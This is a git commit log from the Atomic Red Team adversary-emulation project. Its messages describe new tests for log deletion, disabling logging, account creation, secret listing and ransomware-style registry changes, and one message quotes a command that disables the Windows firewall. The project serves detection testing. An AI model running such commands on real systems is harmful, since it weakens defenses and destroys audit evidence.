Atomic Red Team GUID generator c966568506 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-02-28 21:24:22 +00:00
Bhavin Patel b1bc38cd46 Merge pull request #2314 from 0xv1n/cloud-discovery
Begin T1580 Coverage - AWS
2023-02-28 13:23:55 -08:00
Bhavin Patel 052ae5d5ed Merge branch 'master' into cloud-discovery 2023-02-28 13:23:09 -08:00
m4nbat f756a442c3 Update T1136.003.yaml
Updated T1136.003 Create Account: Cloud Account and added a new atomic test for a user being created in azure
2023-02-28 18:57:28 +00:00
Jose Enrique Hernandez 11ff8b9cb0 Merge branch 'master' into T1110.001_II 2023-02-28 12:29:23 -05:00
0xv1n 1a12e7dc3e Update T1580.yaml 2023-02-27 14:25:02 -05:00
0xv1n 266a3f4321 typo 2023-02-27 13:32:47 -05:00
Atomic Red Team doc generator e56e34fac4 Generated docs from job=generate-docs branch=master [ci skip] 2023-02-27 18:25:15 +00:00
Atomic Red Team GUID generator b56af9f7d8 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-02-27 18:24:56 +00:00
Brandon Tirado 26b5e537c8 Update T1087.002.yaml (#2349)
* Update T1087.002.yaml

Added Wevtutil - Discover NTLM Users Remote

* added link to more info

* Update T1087.002.yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-02-27 11:24:14 -07:00
Atomic Red Team doc generator 6d416704c9 Generated docs from job=generate-docs branch=master [ci skip] 2023-02-27 18:15:32 +00:00
Atomic Red Team GUID generator 98f05c9777 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-02-27 18:15:15 +00:00
CyberBilly7 0d5091f06b Adding Data Encrypted with GPG4Win (#2342)
* Adding Data Encrypted with GPG4Win

Adding Data Encrypted with GPG4Win

* Update T1560.001.yaml

Moving to T1486

* Adding GPGwin to T1486 

Adding GPGwin to T1486 per moderator request.

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-02-27 11:14:46 -07:00
0xv1n 39be578f27 updating T1580 2023-02-27 12:51:02 -05:00
Atomic Red Team doc generator e75f2159c5 Generated docs from job=generate-docs branch=master [ci skip] 2023-02-24 20:41:02 +00:00
Paul 51e8522daa Merge pull request #2348 from redcanaryco/sccreate
Update T1543.003.yaml - service type and startup type add
2023-02-24 12:40:03 -08:00
Michael Haag 81f44c8c00 Update T1543.003.yaml 2023-02-24 13:29:47 -07:00
Atomic Red Team doc generator 8ec0ff54c6 Generated docs from job=generate-docs branch=master [ci skip] 2023-02-24 04:33:12 +00:00
Atomic Red Team GUID generator 9ec5c8bcaf Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-02-24 04:32:51 +00:00
John Chamblee 19f1ee8e97 Added T1112 Event Viewer persistence (#2346)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-02-23 21:32:18 -07:00
Atomic Red Team doc generator 251cd8640a Generated docs from job=generate-docs branch=master [ci skip] 2023-02-24 04:09:52 +00:00
Hare Sudhan 65de3e765a removing duplicate test (#2347) 2023-02-23 21:09:06 -07:00
Atomic Red Team doc generator 7b652dddfe Generated docs from job=generate-docs branch=master [ci skip] 2023-02-23 21:15:30 +00:00
Bhavin Patel a3f7018432 Merge pull request #2341 from cnotin/pr-improve-aad-add-app-permission
Improvements to "Azure AD - adding permission to application"
2023-02-23 13:14:37 -08:00
Clément Notin c14d680bce Improvements to "Azure AD - adding permission to application"
- Make it clearer that this test will create an app, instead of using an existing one
- If the user ignored this, a second app with the same name as the one they wanted to use will be created. So when using the -Cleanup feature it cannot know which one to delete. Shows a warning then (instead of crashing)
- Some minor English fixes
2023-02-23 18:39:40 +01:00
Atomic Red Team doc generator 32ff3497db Generated docs from job=generate-docs branch=master [ci skip] 2023-02-23 17:16:43 +00:00
Bhavin Patel e3fdba327a Merge pull request #2340 from cnotin/pr-use-aad-filter
Use -Filter instead of Where-Object to improve perf and avoid missed items
2023-02-23 09:16:00 -08:00
Bhavin Patel c3edd4c1ca Merge branch 'master' into pr-use-aad-filter 2023-02-23 09:08:56 -08:00
D4rkCiph3r d1b8d3b841 Merge branch 'redcanaryco:master' into T1078.003 2023-02-23 13:11:30 +05:30
Atomic Red Team doc generator 73fcfa1d48 Generated docs from job=generate-docs branch=master [ci skip] 2023-02-23 03:20:24 +00:00
Jose Enrique Hernandez c04778fb65 Merge branch 'master' into T1078.003 2023-02-22 22:20:14 -05:00
Atomic Red Team GUID generator 2b6c054fa2 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-02-23 03:20:06 +00:00
Jose Enrique Hernandez 4c97d2e847 Merge pull request #2331 from tccontre/Awfulshred-TTPs
Update T1562.001.yaml
2023-02-22 22:19:28 -05:00
Jose Enrique Hernandez dd12affe80 Merge branch 'master' into Awfulshred-TTPs 2023-02-22 22:18:44 -05:00
Atomic Red Team doc generator eaa3105334 Generated docs from job=generate-docs branch=master [ci skip] 2023-02-22 23:44:27 +00:00
Bhavin Patel 0b88fe0f86 Merge pull request #2185 from cyberbuff/tf
Terraform Proposal
2023-02-22 15:43:41 -08:00
Hare Sudhan fd48874d74 Pre req command fix 2023-02-22 17:11:56 -05:00
Hare Sudhan a279091504 azure terraform changes 2023-02-22 14:52:31 -05:00
Hare Sudhan 595bd4ea6a merge with master 2023-02-22 14:15:37 -05:00
Hare Sudhan 83b99f8349 merge with master 2023-02-22 14:09:13 -05:00
Hare Sudhan 2d5a269ac6 merge with master 2023-02-22 14:07:00 -05:00
biot-2131 213bcda8cf T1546.004 Create/Append to .bash_logout 2023-02-22 19:01:51 +00:00
Hare Sudhan 84d99ecc17 merge with master 2023-02-22 13:55:17 -05:00
tccontre d80db05f43 Update T1562.001.yaml 2023-02-22 17:10:05 +01:00
biot-2131 e387ff2c9a T1059.004 Added Detecting pipe-to-shell 2023-02-22 16:07:25 +00:00
tccontre 7663ee597a Update T1562.001.yaml 2023-02-22 09:47:10 +01:00
tccontre fea0d547de Update T1562.001.yaml 2023-02-22 09:30:20 +01:00
D4rkCiph3r df0a9f7ca4 Merge branch 'redcanaryco:master' into patch-2 2023-02-22 13:54:55 +05:30
Atomic Red Team doc generator 36b1f36dc3 Generated docs from job=generate-docs branch=master [ci skip] 2023-02-22 03:13:57 +00:00
Jose Enrique Hernandez bf3497ecbf Merge branch 'master' into T1110.001_II 2023-02-21 22:13:55 -05:00
Atomic Red Team GUID generator 8e1ebc91d9 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-02-22 03:13:37 +00:00
Jose Enrique Hernandez 9eb2fa0f78 Merge branch 'master' into Awfulshred-TTPs 2023-02-21 22:13:17 -05:00
Jose Enrique Hernandez b0ba2a54ea Merge pull request #2325 from biot-2131/T1059.004_III
T1059.004 Added two tests
2023-02-21 22:13:01 -05:00
Jose Enrique Hernandez a0516cf9a8 Merge branch 'master' into T1059.004_III 2023-02-21 22:00:23 -05:00
Atomic Red Team doc generator 2e20d9309a Generated docs from job=generate-docs branch=master [ci skip] 2023-02-22 02:56:42 +00:00
Atomic Red Team GUID generator 18418295de Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-02-22 02:56:26 +00:00
Jose Enrique Hernandez 04d68c8f3e Merge pull request #2326 from redcanaryco/T1548_001_add_find_cmds
Added two new tests to T1548.001
2023-02-21 21:55:54 -05:00
Jose Enrique Hernandez 2bb592e35b Merge branch 'master' into T1548_001_add_find_cmds 2023-02-21 21:47:51 -05:00
Jose Enrique Hernandez c8d7ddd890 Merge branch 'master' into patch-2 2023-02-21 21:46:11 -05:00
Jose Enrique Hernandez 7ee52ce265 Merge branch 'master' into T1110.001_II 2023-02-21 21:44:38 -05:00
Jose Enrique Hernandez 719bb691f6 Merge branch 'master' into Awfulshred-TTPs 2023-02-21 21:41:11 -05:00
Atomic Red Team doc generator 167123c18d Generated docs from job=generate-docs branch=master [ci skip] 2023-02-22 02:06:30 +00:00
Atomic Red Team GUID generator 0ea8334a99 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-02-22 02:06:14 +00:00
IntelScott 41ed45bbdb Add new test - Windows time Command (#2337)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-02-21 19:05:49 -07:00
Atomic Red Team doc generator 833a7d910b Generated docs from job=generate-docs branch=master [ci skip] 2023-02-22 02:02:55 +00:00
Clément Notin 4babecb60e Minor English fixes (#2339) 2023-02-21 19:02:06 -07:00
Jose Enrique Hernandez e6b9d61bfe Merge branch 'master' into Awfulshred-TTPs 2023-02-21 20:53:15 -05:00
Clément Notin fc5a75efd1 Use -Filter instead of Where-Object to improve perf and avoid missed items
-Filter is the recommended way to filter objects because it filters them at the source (AAD)
instead of fetching everything and filtering on the client. So the perf are better.
Moreover, by default the cmdlets returns a limited number of items so it can miss stuff
(except if using -All like it was done in some cases)
2023-02-21 14:33:47 +01:00
D4rkCiph3r 6798df9620 Merge branch 'redcanaryco:master' into patch-3 2023-02-21 11:20:17 +05:30
D4rkCiph3r 73edc25a41 Merge branch 'redcanaryco:master' into patch-2 2023-02-21 11:20:03 +05:30
D4rkCiph3r bb23c59f41 Merge branch 'redcanaryco:master' into patch-1 2023-02-21 11:19:45 +05:30
D4rkCiph3r b1303b68d2 Merge branch 'redcanaryco:master' into T1078.003 2023-02-21 11:18:30 +05:30
Atomic Red Team doc generator 7cfbdc1449 Generated docs from job=generate-docs branch=master [ci skip] 2023-02-21 04:36:32 +00:00
Nathan McNulty 41393c010f Fix T1543.001 Test 2 Defaults (#2338)
Co-authored-by: Nathan McNulty <nathanmcnulty@outlook.com>
2023-02-20 21:35:11 -07:00
biot-2131 bdb575c823 T1110.001 updated two tests 2023-02-18 09:43:35 +00:00
D4rkCiph3r 6cd755321b Update T1070.002.yaml
Minor modifications
2023-02-18 14:07:34 +05:30
D4rkCiph3r 2f1c0e9f76 Update T1070.002.yaml 2023-02-18 13:18:46 +05:30
D4rkCiph3r b1bda776fe Update T1070.002.yaml
New tests added:
1. Delete system log files using unlink utility
2. Delete system log files using shred utility
3. Delete system log files using srm utility
4. Delete system log files using OSAScript
5. Delete system log files using Applescript
6. Delete system log files using JXA
7. System log file deletion using Cocoa API - 1
8. System log file deletion using Cocoa API - 2

Minor modifications to "System log file deletion using find utility"

The scripts will be available in "src" location
2023-02-18 12:55:58 +05:30
D4rkCiph3r 024d22c960 Added new tests (T562) - macOS
New tests added:
1. Disable journal logging
2. Disable journal logging via journald.conf

The man pages of the respective utilities can be referred
2023-02-18 11:19:56 +05:30
D4rkCiph3r 70fde6a40f Added new tests - T1070.002 (macOS and Linux)
New tests added:

Delete log files using built-in log utility
Truncate system log files
Delete log files by appending null bytes
System log file deletion using find utility
Delete system logs using syslog utility
Overwrite macOS system log using echo utility
Real-time system log clearance/deletion
Delete system journal logs
The man pages of respective utilities can be referred for the same
2023-02-18 10:41:11 +05:30
D4rkCiph3r 9184e421e9 Added new test case - T1027.001
Added a new test case.
Minor changes to the existing test case.
2023-02-17 18:19:33 +05:30
Atomic Red Team doc generator 3da64960cd Generated docs from job=generate-docs branch=master [ci skip] 2023-02-16 16:27:28 +00:00
Atomic Red Team GUID generator 018ecb6ee7 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-02-16 16:27:08 +00:00
Jose Enrique Hernandez c5cf8ce6b3 Merge pull request #2316 from johnbrydon/T1614.001_add_sys_lang_test
T1614.001: Add discovery tests for linux
2023-02-16 11:26:35 -05:00
Jose Enrique Hernandez 268846b19b Merge branch 'master' into T1614.001_add_sys_lang_test 2023-02-16 11:22:19 -05:00
tccontre bd2d2ae1ed Update T1562.001.yaml 2023-02-16 11:09:44 +01:00
Atomic Red Team doc generator b3bbf28256 Generated docs from job=generate-docs branch=master [ci skip] 2023-02-15 20:20:24 +00:00
Atomic Red Team GUID generator 5847dca08c Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-02-15 20:20:07 +00:00
Bhavin Patel 28934201ad new atomic post testing (#2307)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2023-02-15 13:19:34 -07:00
John Brydon 07a3a13019 T1614.001: Add grep to environment commands to keep output concise
Signed-off-by: John Brydon <jbrydon@secureworks.com>
2023-02-14 19:51:16 +00:00
John Brydon 29d2cdcbce T1614.001: Add exit for failed deps test
Signed-off-by: John Brydon <jbrydon@secureworks.com>
2023-02-14 19:51:16 +00:00
John Brydon 543cd253db T1614.001: Add discovery tests for linux
Signed-off-by: John Brydon <jbrydon@secureworks.com>
2023-02-14 19:51:16 +00:00
Atomic Red Team doc generator 8da17a40cc Generated docs from job=generate-docs branch=master [ci skip] 2023-02-14 18:33:21 +00:00
Josh Rickard c690a13984 fix: Updating format of 2 yaml defintions for new schema (#2330)
* fix: Updating format of 2 yaml defintions for new schema

* fix: Updating T1048

---------

Co-authored-by: MSAdministrator <MSAdministrator@users.noreply.github.com>
2023-02-14 11:32:38 -07:00
Josh Rickard 2c2d29d2ca Merge branch 'master' into T1078.003 2023-02-14 11:47:38 -06:00
Atomic Red Team doc generator 89a2c90aae Generated docs from job=generate-docs branch=master [ci skip] 2023-02-14 16:16:58 +00:00
Carrie Roberts d56cc45551 doesn't exfil data as written (#2329) 2023-02-14 09:15:58 -07:00
Atomic Red Team doc generator 16594d72c5 Generated docs from job=generate-docs branch=master [ci skip] 2023-02-13 23:11:19 +00:00
Josh Rickard a5dd0813cd fix: Updating atomics YAML file structure to align with the new JSON schema definition (#2323)
* fix: Updating atomics YAML file structure to align with the new JSON schema definition.

This also fixes some white space issues and general line formatting across all impacted atomics.

* fix: One additional change needed

---------

Co-authored-by: MSAdministrator <MSAdministrator@users.noreply.github.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-02-13 16:10:37 -07:00
Josh Rickard 78bd56f47a ci: Updating duration for stale issues before they close. (#2322)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-02-13 15:55:02 -07:00
Atomic Red Team doc generator e2e66117b8 Generated docs from job=generate-docs branch=master [ci skip] 2023-02-13 22:53:46 +00:00
Biological Robot f50d13881d T1546.004_II (#2324)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-02-13 15:53:06 -07:00
Atomic Red Team doc generator 7168ecda1e Generated docs from job=generate-docs branch=master [ci skip] 2023-02-13 22:50:58 +00:00
Atomic Red Team GUID generator 4cc2099338 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-02-13 22:50:40 +00:00
Michael Haag ee8b35e90a Update T1552.004.yaml (#2327) 2023-02-13 15:49:26 -07:00
rc-dbogle 1263730a1d Merge branch 'master' into T1548_001_add_find_cmds 2023-02-13 10:09:40 -07:00
Biological Robot a8076269ce Update T1059.004.yaml 2023-02-12 15:22:08 +00:00
biot-2131 7a411af7f6 T1059.004 Added two tests 2023-02-12 15:14:01 +00:00
Atomic Red Team doc generator 18767571a5 Generated docs from job=generate-docs branch=master [ci skip] 2023-02-10 19:15:02 +00:00
Atomic Red Team GUID generator 08c23c0d81 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-02-10 19:14:46 +00:00
Jose Enrique Hernandez aa566c116b Merge pull request #2313 from biot-2131/T1546.004
T1546.004 added three tests
2023-02-10 14:14:17 -05:00
Jose Enrique Hernandez b20b72a9a8 Merge branch 'master' into T1546.004 2023-02-10 14:03:06 -05:00
rc-dbogle 2034b35190 Added two new tests to T1548.001
Fixed minor typo in chmod command
2023-02-09 15:10:20 -08:00
Atomic Red Team doc generator 78b49d87d2 Generated docs from job=generate-docs branch=master [ci skip] 2023-02-09 16:13:03 +00:00
Atomic Red Team GUID generator 836b81b127 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-02-09 16:12:48 +00:00
Josh Rickard b4463e0d9c Merge pull request #2302 from biot-2131/T1048.003_http.server
T1048.003 Python3 http.server
2023-02-09 10:12:17 -06:00
Josh Rickard 42527f4bdf Merge branch 'master' into T1048.003_http.server 2023-02-09 10:11:27 -06:00
Atomic Red Team doc generator 9d9a7cc251 Generated docs from job=generate-docs branch=master [ci skip] 2023-02-09 16:08:02 +00:00
Atomic Red Team GUID generator 1b886699f1 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-02-09 16:07:43 +00:00
Josh Rickard ba385b1251 Merge pull request #2301 from biot-2131/T1059.004_four_tests
T1059.004 - Added four tests
2023-02-09 10:07:13 -06:00
Josh Rickard efaae59060 Merge branch 'master' into T1059.004_four_tests 2023-02-09 10:05:53 -06:00
D4rkCiph3r 5c17c4668a minor update 2023-02-08 14:27:12 +05:30
D4rkCiph3r 424bb247a0 Update T1078.003.yaml 2023-02-08 14:23:24 +05:30
D4rkCiph3r b52925c839 Merge branch 'redcanaryco:master' into master 2023-02-08 14:20:18 +05:30
D4rkCiph3r 3c22d0867e Added 3 new testings - macOS
3 new tests to add a new account and enable admin privileges
2023-02-08 14:19:07 +05:30
Atomic Red Team doc generator 7d7049f64a Generated docs from job=generate-docs branch=master [ci skip] 2023-02-08 01:33:36 +00:00
Atomic Red Team GUID generator 291fef80f6 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-02-08 01:33:20 +00:00
Bhavin Patel f451e4ca24 Merge pull request #2304 from yogisec/T1552-007-all-secrets
T1552.007 Kubernetes list all secrets
2023-02-07 17:32:52 -08:00
Bhavin Patel 07bf46163d Merge branch 'master' into T1552-007-all-secrets 2023-02-07 17:27:08 -08:00
Biological Robot f11240fd8d Update T1059.004.yaml 2023-02-07 10:10:37 +00:00
Biological Robot 0279620882 Merge branch 'redcanaryco:master' into T1546.004 2023-02-07 10:07:58 +00:00
Biological Robot 37e7469b3a Merge branch 'master' into T1059.004_four_tests 2023-02-07 10:06:34 +00:00
Atomic Red Team doc generator 5fc044b874 Generated docs from job=generate-docs branch=master [ci skip] 2023-02-06 22:16:07 +00:00
Josh Rickard 6dab7992a0 fix: fix: Adding missing index files (#2320)
Co-authored-by: MSAdministrator <MSAdministrator@users.noreply.github.com>
2023-02-06 15:15:23 -07:00
Josh Rickard 1fe727afc4 fix: Removing index files with colons (#2319)
Co-authored-by: MSAdministrator <MSAdministrator@users.noreply.github.com>
2023-02-06 15:07:17 -07:00
Josh Rickard 028a179f3f fix: Fixing index file names by removing colon and replacing with underscore (#2318)
Co-authored-by: MSAdministrator <MSAdministrator@users.noreply.github.com>
2023-02-06 15:01:14 -07:00
Atomic Red Team doc generator a7e555c092 Generated docs from job=generate-docs branch=master [ci skip] 2023-02-06 20:20:38 +00:00
Josh Rickard 9913e9b23a fix: Fix unescaped backslash in description (#2317)
Details:

When generating markdown documents, certain commands were not being parsed correctly when rendering strings from Mitre ATT&CK JSON objects. This PR fixes that issue by replacing double backslash with null strings in the technique['description'] portion of the ERB template.

Testing:

Generated docs and the only document/technique effected by this change is T1546.008. I know it's small but it helps.

Associated Issues:

fixed #1539
2023-02-06 15:19:46 -05:00
Josh Rickard a24028a3e3 Add platform based indexes (#2311)
* feat: Adding call to generate YAML index files broken out by platform type based on the supported_platforms array values.

* feat: Add new method generate_yaml_index_by_platform to generate yaml indexes based on the provided platform type

* feat: Added new method atomic_tests_for_technique_by_platform to retrieve techniques from API and add atomic_tests based on the provided platform vbalue

---------

Co-authored-by: MSAdministrator <MSAdministrator@users.noreply.github.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-02-06 11:36:25 -07:00
Atomic Red Team doc generator d61000ff30 Generated docs from job=generate-docs branch=master [ci skip] 2023-02-06 13:25:25 +00:00
Atomic Red Team GUID generator 0db5a0261a Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-02-06 13:25:17 +00:00
Paul Michaud ab7bfc70cc Merge pull request #2312 from redcanaryco/CertUtil
Export Certificates
2023-02-06 13:24:41 +00:00
Paul Michaud a17a26f2f9 Merge branch 'master' into CertUtil 2023-02-06 13:22:22 +00:00
Keith McCammon d3131e5583 Create stale.yml to close stale issues and PRs (#2315) 2023-02-04 18:22:43 -07:00
0xv1n 9c20512b68 Begin T1580 Coverage - AWS
This commit adds coverage for AWS Cloud Discovery commands run from EC2. Stratus is utilized to spin up and tear down needed testing infrastructure, similar to other cloud coverage in the ART repo previously.
2023-02-04 13:59:57 -05:00
biot-2131 44f5d3ce23 T1546.004 2023-02-04 13:59:36 +00:00
Michael Haag c0bba5e5ec Update T1552.004.yaml 2023-02-04 06:36:46 -07:00
Michael Haag 599e147cfd ExportPFX 2023-02-04 05:55:40 -07:00
Atomic Red Team doc generator cd3690b100 Generated docs from job=generate-docs branch=master [ci skip] 2023-01-31 14:48:55 +00:00
Atomic Red Team GUID generator b12b28bf52 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-01-31 14:48:49 +00:00
Leo Verlod 1896e182c5 Adding T1112 Mimic Ransomware Registry Modification Tests (#2306)
Adding T1112 tests 45 and 46 to emulate Mimic ransomware's ability to modify the registry in order to enable multiple user sessions locally, as well as allow multiple RDP sessions per user. 

Reference: https://www.trendmicro.com/en_us/research/23/a/new-mimic-ransomware-abuses-everything-apis-for-its-encryption-p.html

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-01-31 09:48:20 -05:00
Atomic Red Team doc generator 70b897d8d8 Generated docs from job=generate-docs branch=master [ci skip] 2023-01-31 14:45:49 +00:00
Atomic Red Team GUID generator 8efb2a9443 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-01-31 14:45:42 +00:00
Leo Verlod fed5ad2204 Adding T1562.004 Test 18 - Blackbit - Disable Windows Firewall using netsh firewall (#2305)
* Adding T1562.004 Test 18 - Blackbit - Disable Windows Firewall using netsh firewall

Adding T1562.004 Test 18 - Blackbit - Disable Windows Firewall using netsh firewall. Within BlackBit ransomware, one of the commands ran is "netsh firewall set opmode mode=disable". While "netsh firewall" has been deprecated and replaced with "netsh advfirewall", the old command still does work, leading to a vector that adversaries can use for firewall disablement.

* Adding error handling to cleanup
2023-01-31 09:45:07 -05:00
yogisec 45964ab763 echo for prereq 2023-01-29 07:21:21 -06:00
yogisec 5173af83ae add missing | 2023-01-29 07:19:22 -06:00
yogisec 2f1cbadead adding get prereq command 2023-01-29 07:17:55 -06:00
yogisec 37e1fd7c4d initial 2023-01-29 06:49:35 -06:00
Biological Robot eed9c5b08d Merge branch 'master' into T1059.004_four_tests 2023-01-28 17:19:31 +00:00
biot-2131 4ed469e217 T1048.003 Python3 http.server 2023-01-28 09:19:12 +00:00
biot-2131 d15214994a T1059.004 - Added four tests 2023-01-28 08:38:16 +00:00
Atomic Red Team doc generator a2ccd19c37 Generated docs from job=generate-docs branch=master [ci skip] 2023-01-26 20:13:03 +00:00
yonatanS1 ae3d762b50 Fix bz2 command (#2299)
Details:
Cast bz2content to str to avoid type error. (TypeError: write() argument must be str, not bytes)

Testing:
Local testing was done.

Associated Issues:
N/A

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-01-26 15:12:30 -05:00
Atomic Red Team doc generator 6c872029ee Generated docs from job=generate-docs branch=master [ci skip] 2023-01-26 20:11:47 +00:00
Atomic Red Team GUID generator fac22a7b8b Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-01-26 20:11:41 +00:00
IntelScott cbb21a1cc1 Update T1082.yaml (#2298)
Add new test to simulate behavior recently observed in use by an infostealer family
2023-01-26 15:10:52 -05:00
Atomic Red Team doc generator 5cdf6648cf Generated docs from job=generate-docs branch=master [ci skip] 2023-01-23 17:22:39 +00:00
Atomic Red Team GUID generator 40c215713b Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-01-23 17:22:32 +00:00
Bhavin Patel cc821663e6 Merge pull request #2284 from biot-2131/T1059.004_script_in_tmp
T1059.004 New script file in the tmp directory
2023-01-23 09:22:06 -08:00
Bhavin Patel 786eebb576 Merge branch 'master' into T1059.004_script_in_tmp 2023-01-23 09:17:40 -08:00
Atomic Red Team doc generator d21f98b9cc Generated docs from job=generate-docs branch=master [ci skip] 2023-01-23 17:16:34 +00:00
Atomic Red Team GUID generator 4e1fc46105 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-01-23 17:16:26 +00:00
Bhavin Patel 1ff13d9b30 Merge pull request #2297 from cyberbuff/T1201
T1201: Password Policy for AWS
2023-01-23 09:15:50 -08:00
Hare Sudhan 28d3d33c8e added test for t1201 2023-01-23 11:55:07 +00:00
Hare Sudhan Muthusamy 79f5a7e171 tfvars fix 2023-01-23 05:34:48 -05:00
Hare Sudhan Muthusamy 53fe3eaacd pre req command fix 2023-01-23 04:04:05 -05:00
Hare Sudhan Muthusamy 9eff413653 minor changes 2023-01-23 03:59:23 -05:00
Hare Sudhan Muthusamy 13f7990317 adding terraform validation 2023-01-23 03:55:16 -05:00
Hare Sudhan Muthusamy 2303ca6199 fixing atomic yaml 2023-01-23 03:52:51 -05:00
Hare Sudhan Muthusamy e2ae7513d1 cleanup 2023-01-23 03:24:19 -05:00
Hare Sudhan 3191d2ef7a Merge branch 'master' into tf 2023-01-23 01:42:18 -05:00
Atomic Red Team doc generator 16e52c1d55 Generated docs from job=generate-docs branch=master [ci skip] 2023-01-21 23:56:47 +00:00
Zeta 073eda8319 Fix link (#2293)
Fix the sigma rule links
2023-01-21 18:56:04 -05:00
Atomic Red Team doc generator 0dcc9bb796 Generated docs from job=generate-docs branch=master [ci skip] 2023-01-18 22:05:05 +00:00
Atomic Red Team GUID generator 2a674b42c0 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-01-18 22:04:57 +00:00
tlor89 80c5228e9a T1059.007-update (#2289)
Co-authored-by: Toua Lor <tlor@nti.local>
2023-01-18 16:04:16 -06:00
biot-2131 6b06371f41 added unset command 2023-01-17 22:56:32 +00:00
biot-2131 abf60a7499 updated the title 2023-01-17 21:51:01 +00:00
biot-2131 8573945248 T1059.004 New script file in the tmp directory 2023-01-17 21:32:05 +00:00
Atomic Red Team doc generator 054d7516ca Generated docs from job=generate-docs branch=master [ci skip] 2023-01-15 21:39:49 +00:00
Carrie Roberts 5445f291a2 Update T1112.yaml (#2283)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2023-01-15 16:39:13 -05:00
Tony M Lambert 4ae9580a1a T1059.007 JScript Tests (#2281)
* JScript Tests

* correct outfile name

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-01-14 17:55:16 -05:00
Carrie Roberts a8e3cf63e9 Add OpenSource Badge (#2277) 2023-01-12 11:13:11 -05:00
Atomic Red Team doc generator 690097dc5d Generated docs from job=generate-docs branch=master [ci skip] 2023-01-12 15:41:02 +00:00
Paul 0319b78111 Merge pull request #2279 from redcanaryco/clr2of8-patch-33
fix cleanup key
2023-01-12 10:40:27 -05:00
Carrie Roberts 421ef67baf fix cleanup key 2023-01-12 09:55:38 -05:00
Atomic Red Team doc generator 757c6b6513 Generated docs from job=generate-docs branch=master [ci skip] 2023-01-11 23:53:02 +00:00
Carrie Roberts 44ce87e92e add prereqs and simplify (#2269) 2023-01-11 16:52:34 -07:00
Atomic Red Team doc generator 8a750920de Generated docs from job=generate-docs branch=master [ci skip] 2023-01-11 23:50:28 +00:00
Atomic Red Team GUID generator 8461709555 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-01-11 23:50:20 +00:00
devapriya16 eee46c0733 Update T1562.001.yaml (#2274)
* Update T1562.001.yaml

Test#38 is added for atomics to delete defender's scheduled tasks

* simplify and a few corrections

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-01-11 16:49:48 -07:00
Atomic Red Team doc generator 7d78710094 Generated docs from job=generate-docs branch=master [ci skip] 2023-01-10 23:42:03 +00:00
CDub1016 c093205999 Update T1053.005.yaml (#2276)
* Update T1053.005.yaml

Created cleanup command for T1053.005-Task Scheduler via VBA-Cleanup commands created

* Update T1053.005.yaml

Fixed syntax error.

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-01-10 16:41:32 -07:00
Atomic Red Team doc generator c4c81934d2 Generated docs from job=generate-docs branch=master [ci skip] 2023-01-10 23:37:09 +00:00
Atomic Red Team GUID generator 7eb64678b5 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-01-10 23:37:01 +00:00
tr4cefl0w 43a42402af adding Section View injection (#2275) 2023-01-10 16:36:25 -07:00
Atomic Red Team doc generator 95ec2d0ceb Generated docs from job=generate-docs branch=master [ci skip] 2023-01-10 12:42:35 +00:00
Carrie Roberts 5d6df77a52 add dll and prereqs (#2273)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2023-01-10 05:42:04 -07:00
tccontre 7c26b9aae0 Tccontre discovery winpeas (#2270)
* Update T1124.yaml

* Update T1033.yaml

* Update Discovery.bat

* Update Discovery.bat

* Update T1033.yaml

* Update T1033.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-01-09 19:06:02 -05:00
Atomic Red Team doc generator 9bffb46fb6 Generated docs from job=generate-docs branch=master [ci skip] 2023-01-10 00:05:06 +00:00
Dustin Lee 26aa15f7d6 Fix Octopus spelling in description (#2271)
s/Octupus/Octopus/

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-01-09 19:04:35 -05:00
Atomic Red Team doc generator 5a23718c06 Generated docs from job=generate-docs branch=master [ci skip] 2023-01-10 00:02:55 +00:00
Dustin Lee f4afd9ccf5 Minor grammatical updates (#2272)
Fixes the spelling of *indicator* and *launched*, plus adds a period to the end of the second sentence in the Word command shell description.

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-01-09 19:02:21 -05:00
Atomic Red Team doc generator 2a73961fcb Generated docs from job=generate-docs branch=master [ci skip] 2023-01-09 19:44:06 +00:00
Atomic Red Team GUID generator ab226f35ca Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-01-09 19:44:00 +00:00
Bhavin Patel 44dbb8635e Merge pull request #2255 from aman143kri/dockerdeploy
Added Deploying a docker
2023-01-09 11:43:25 -08:00
